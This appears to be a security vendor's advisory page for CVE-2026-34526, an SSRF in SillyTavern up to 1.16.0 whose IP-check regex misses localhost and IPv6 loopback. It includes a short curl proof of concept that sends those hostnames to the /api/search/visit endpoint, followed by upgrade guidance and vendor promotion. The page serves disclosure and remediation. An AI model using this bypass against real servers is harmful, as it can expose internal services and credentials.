CVE-2026-34526

Details

Distinct from CVE-2025-59159 and CVE-2026-26286 (all fixed in v1.16.0). This endpoint is still unpatched.

In src/endpoints/search.js line 419, the hostname is checked against /^\d+\.\d+\.\d+\.\d+$/. This only matches literal dotted-quad IPv4 (e.g. 127.0.0.1, 10.0.0.1). It does not catch:

• localhost (hostname, not dotted-quad)
• [::1] (IPv6 loopback)
• DNS names resolving to internal addresses (e.g. localtest.me -> 127.0.0.1)

A separate port check (urlObj.port !== '') limits exploitation to services on default ports (80/443), making this lower severity than a fully unrestricted SSRF.

PoC

1. Start SillyTavern v1.16.0 normally
2. Send requests to compare blocked vs bypassed (requires a valid session cookie or CSRF disabled):

# Blocked, dotted-quad matched by regex
curl -s -o /dev/null -w "%{http_code}" -X POST http://127.0.0.1:8000/api/search/visit \
  -H "Content-Type: application/json" \
  -d '{"url": "http://127.0.0.1/", "html": true}'
# Returns: 400 (blocked)

# Bypassed, "localhost" is not dotted-quad
curl -s -o /dev/null -w "%{http_code}" -X POST http://127.0.0.1:8000/api/search/visit \
  -H "Content-Type: application/json" \
  -d '{"url": "http://localhost/", "html": true}'
# Returns: 500 (passed validation, fetch attempted, ECONNREFUSED because nothing on port 80)

# Bypassed, IPv6 loopback is not dotted-quad
curl -s -o /dev/null -w "%{http_code}" -X POST http://127.0.0.1:8000/api/search/visit \
  -H "Content-Type: application/json" \
  -d '{"url": "http://[::1]/", "html": true}'
# Returns: 500 (passed validation, fetch attempted)

The 400 vs 500 difference confirms localhost and [::1] pass the IP check. The 500 is ECONNREFUSED (nothing listening on port 80), not a validation rejection.

Resolution

The issue was addressed in version 1.17.0 by improving IPv6 address validation

Server-side request forgery with partial restrictions. An authenticated user can force the server to fetch from internal hosts on default ports (80/443) using hostnames or IPv6 addresses that bypass the IP check. The full response body is returned. Lower severity than a fully unrestricted SSRF due to the port limitation.

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

CVE-2026-34526 has a CVSS score of 5.0 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.17.0); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-34526? CVE-2026-34526 is a medium-severity server-side request forgery (SSRF) vulnerability in sillytavern (npm), affecting versions <= 1.16.0. It is fixed in 1.17.0. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
2. How severe is CVE-2026-34526? CVE-2026-34526 has a CVSS score of 5.0 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of sillytavern are affected by CVE-2026-34526? sillytavern (npm) versions <= 1.16.0 is affected.
4. Is there a fix for CVE-2026-34526? Yes. CVE-2026-34526 is fixed in 1.17.0. Upgrade to this version or later.
5. Is CVE-2026-34526 exploitable, and should I be worried? Whether CVE-2026-34526 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-34526 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-34526? Upgrade sillytavern to 1.17.0 or later.